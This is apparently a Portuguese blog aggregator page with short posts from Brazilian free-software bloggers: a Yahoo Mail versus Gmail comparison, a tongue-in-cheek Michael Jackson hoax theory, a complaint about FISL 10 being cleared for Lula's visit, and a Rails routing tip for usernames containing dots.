Isso, é claro, não foi nenhuma surpresa comparado às porc… aos outros nomes que participaram da votação.
1. Constantine 1167 - --[ Cut Off ] -- 2. Umbria 941 3. Orville 792 4. Rugosa 740 5. Chilon 530
(Clique na foto para ver o vídeo completo da presença do Lula no FISL 10)

isso te faz lembrar de alguma coisa?
então você é velho(a)! :)
conectiva.com.br/~aurelio
verde666.org
aurelio.net
é… o tempo passa. quando que eu iria imaginar que esse treco ia durar tanto, a minha “página na internet”. e mais ainda, quando que eu iria imaginar que outras pessoas iam ter interesse em ler e acompanhar a “página”!
lá está a página ainda no ar, cá estou eu ainda escrevendo para quem-quer-que-se-interesse e aí está você, lendo (e agora também comentando) e fechando o ciclo. até quando? sei lá… mas vamos continuar nessa até aparecer algo melhor pra fazer! :)
o bit do saudosismo foi ligado. então, prepare-se que as comemorações estão apenas começando! os próximos dias serão uma viagem, tá ligado(a)? simbora!
\o/

Antes de falar do assunto do artigo, gostaria de dar alguns esclarecimentos. Primeiro, sim, eu me casei, como alguns de vocês sabem, no dia 06 de junho. Foi uma cerimônia muito bonita, me disseram os amigos e parentes. Eu não sei ao certo porque a gente realmente sofre de uma suspensão das percepções ordinárias naquele [...]
FISL 10 LatinoWare 2008 TcheLinux 2008
Muita gente vai discordar de mim, mas acho o Yahoo Mail melhor que o Gmail. A grande ironia aqui é que já admiti faz tempo a superioridade latente do e-mail do Google, que, literalmente, faz loucuras para inovar na forma de se ler e-mails e parece uma força quase irresistível para quem (assim como eu) recebe e envia dezenas (ou centenas) de e-mails todo dia.
O serviço do Yahoo ganha em confiabilidade, mas no quesito praticidade, parece ter ficado com os conceitos usados ainda na época dos clientes de e-mail, de ter que baixar as mensagens para o PC antes de encher os 4 MB da caixa de entrada enquanto batia-se um papinho nas salas do extinto MSN (alguém lembra?). Essas diferenças ficam ainda mais gritantes porque o Gmail apresenta inovações numa velocidade vertiginosa e o Yahoo vai, vagarosamente, se deixando passar.
Faz alguns meses que, no entanto, fiquei sabendo de mudanças no Yahoo Mail e comemorei porque, apesar de admitir que o Gmail é legal, algo nele me incomoda (devo ter pegado birra depois de ser sacaneado quando mais precisei do serviço)… enfim, o Gmail é aquela mulher bonita, moderninha, de mente aberta e que ás vezes você se pega pensando: “esse diabo de mulher vai me dar dor de cabeça”. Tem quem goste.
Então, eu estava divagando nas metáforas de novo? O assunto aqui são as inovações do Yahoo Mail: fui fuçar no blog de desenvolvimento do serviço o que vem por aí e gostei muito do que encontrei. Confira:
Twitter, Facebook, Lastfm, Picasa e mais um monte de outros bagulhos podem ser integrados no seu “Perfil Yahoo”. Se você não sabia que existe o Perfil Yahoo fique sabendo: trata-se de uma iniciativa (com um visual super tosco que parece até feito por esses adolescentes ctrl+c ctrl+v metidos a programar em PHP) para que seus usuários interajam. Depois do fim do Yahoo 360 o Perfil ganhou um blog. As pessoas se adicionam umas as outras e ficam sabendo do que seus contatos estão fazendo. Cada foto no Flickr, cada tweet, tudo aparece no seu perfil e é disseminado aos seus amigos. O Yahoo Mail, por sua vez, será capaz de mostrar para você as novidades dos seus amigos, ou seja: se você adicionou a Joana ao seu perfil, quando mandar um e-mail para joana poderá ver, na tela de confirmação de envio, as últimas novidades de Joana. Para mim isso não vai ser muito importante porque não sou exatamente o Sr. Tweeter.
Esse serviço de edição de fotos online é bem popular graças ao Flickr e agora vai vir embutido no e-mail. Permitirá a edição de imagens anexadas às mensagens e é um software bastante completo para aquilo a que se propõe fazer. Também vou usar pouco, mas vou gostar de saber que está ali, disponível, para poder sacanear aquele colega espertinho na hora do expediente.

O Xoopit é um serviço muito interessante que já está disponível para Gmail há algum tempo (tem até extensão para Firefox). Ele se conecta à sua conta do Gmail, varrendo-a de cima a baixo catalogando imagens, músicas, arquivos e até joguinhos. Agora, vai chegar no Yahoo como uma aplicação embebida ao e-mail e vai lhe mostrar isso tudo numa aba bem acessível.

Acredite, você vai poder fazer transações financeiras diretamente do seu e-mail. Será simples receber e pagar débitos, pedir grana ao papai, fazer doações… ahnnn será que também vai ser mais fácil cair em golpes online?

Essa achei ótima. Muitas vezes preciso enviar anexos grandes. As fotos de mulher pelada estão com resoluções cada vez maiores. Se o anexo ultrapassar 10 MB o Yahoo Mail reclamará dizendo que o arquivo excedeu a capacidade máxima (GMail anexa até 20 MB). Usando o Zumo Drive embutido ao e-mail torna-se possível compartilhar arquivos de até 100 MB.

Tem um vídeo onde uma figuraça mostra os recursos em funcionamento e se você quer experimentar os aplicativos pode entrar na lista de espera, mas, atenção, leia as letrinhas miúdas: na fase de testes os programadores terão acesso às suas coisas.
Estou escrevendo minha dissertação de mestrado, e gostaria de sugestões para gerenciadores de bibliografia para o BrOffice.org. Sei da existência de algumas ferramentas, tanto o próprio gerenciador do BrOffice.org quanto ferramentas adicionais e aplicativos externos com algum grau de integração com a suíte de escritório. Mais do que a facilidade de entrada de citações, ou de gerenciar a lista, estou interessado em saber como fica o resultado final: se as citações aparecem na lista de referências de acordo com o padrão da ABNT.
Alguém aí tem uma história de sucesso ou fracasso para compartilhar?
Como ainda não li nenhuma teoria da conspiração sobre a morte do Michael Jackson, resolvi escrever a minha própria. Na verdade essa teoria surgiu sozinha juntando os dados de reportagens.
O primeiro indício da farsa é: por que alguém que não faz shows desde 2006 teria uma turnê marcada, coincidentemente, para cerca de uma semana depois de sua morte?
A morte dele causou uma previsível correria atrás de suas obras e esgotamento dos CDs e DVDs. Os ingressos para a turnê já tinham se esgotarado em 10 minutos após o início das vendas. Na verdade, essa “morte” foi uma bela forma de valorizar sua obra…
Além disso, o plano já tinha sido traçado há muito tempo, como mostra sua música Morphine, que fala sobre o ataque cardíado, sobre a morfina e sobre o remédio Demerol, considerados até agora possíveis causadores do ataque.
O intuito da farsa é fazer com que o público fique ainda mais fã do Michael Jackson (como acontece com as celebridades que morrem) para que daqui a 5 ou 10 anos ele retorne em um momento único, que será filmado “por sorte”, onde ele sairá de sua tumba dançando Thriller.
Se você é um dos que comprou ingressos para essa turnê que viria, não pegue o seu dinheiro de volta. Assim que o Michael voltar fará um show especial e restrito para aqueles que mantiverem os seus convites da turnê.
Bom, como diria o Chicó, se é verdade eu não sei, só sei que foi assim.
Fonte: Telejornais e uma mente criativa.
Veja também:
Em uma semana meu bebê nasce. É engraçado o papel de pai antes do menino ver a luz. Fiz algumas observações sobre a situação:
Pelo menos dois amigos que são pais frescos (pais recentes) me deixaram mais feliz dizendo que depois que o bebê nasce o pai passa a ter um papel na vida dele…
Veja também:
É isso aí pessoal.. Terceiro dia de FISL e a bagunça rolou solta. Não lembro de ter visto sorrisos hoje na PUC. Apenas insatisfações e caras aborrecidas.
Como de costume, o FISL não cumpriu a promessa de uma rede decente WIFI. Desde o primeiro dia a wireless do evento não funciona. Cada um tenta se virar de alguma forma.. seja com 3g ou mesmo, como nosso caso no stand do Archlinux Brasil, levando um switch para navegar na rede cabeada sedida pelo evento. Mas, como disse anteriormente, esse “problema” já é praticamente uma marca registrada do evento e como tal não foi a causa da revolta. Portanto, COMPANHEIROS, acreditem.. a causa da revolta geral hoje foi a “visita” de nosso querido Presidente.
Nosso Presidente resolveu aparecer hoje no final da tarde. O problema? Simplesmente expulsaram, LITERALMENTE, TODOS que estavam na área principal do evento. Toda a área de stands foi evacuada para averiguação completa da polícia com cães treinados. Sim, se livraram de aproximadamente 8.000 pessoas em poucos minutos com um tratamento no mínimo GROSSO diante da realidade de quem saiu de outro estado, ou mesmo país, teve altos custos com passagens, hospedagens, alimentação e inscrição do evento. Não bastando “expulsar” todos para a “revista” do local, ainda informaram que os stands estariam proibidos para o público inscrito durante todo o dia. Eu, que também estava responsável por um dos stands, recebi a preciosa informação de que apenas algumas (2-3) pessoas de cada stand teriam permissão de entrar no local com apresentação de um determinado broche. À pessoa que me informou isso, perguntei: Qual a utilidade de um stand sem público?
Parece brincadeira, mas não é.
Se a intenção era deixar nosso Presidente mais “seguro” para aparecer na TV durante sua “visita” ao “evento”, acho que eles conseguiram. Mas, gostaria de saber qual será a justificativa para o fato de nas câmeras aparecerem cerca de 100 pessoas quando o evento possui, na verdade, cerca de 8.000 inscritos.
No mínimo é uma falta de respeito para com todos nós.
E a pergunta que não quer calar… Onda está a liberdade em um evento, teoricamente, para a comunidade?
O Software é Livre, o acesso não!?¡¿
PS: Amanhã estarei no evento com meu crachá de cabeça para baixo.
Abraços
![]()
Ao tentar acessar uma URL como http://example.com/users/nando.vieira no Ruby on Rails, a exceção ActionController::RoutingError será despejada. Para corrigir este problema basta especificar um requisito genérico na sua rota.
ActionController::Routing::Routes.draw do |map|
map.with_options :controller => "users" do |url|
url.user "/users/:username",
:action => "show",
:requirements => {:username => /.*/}
end
end
Esse comportamento foi introduzido à partir da versão 1.2.
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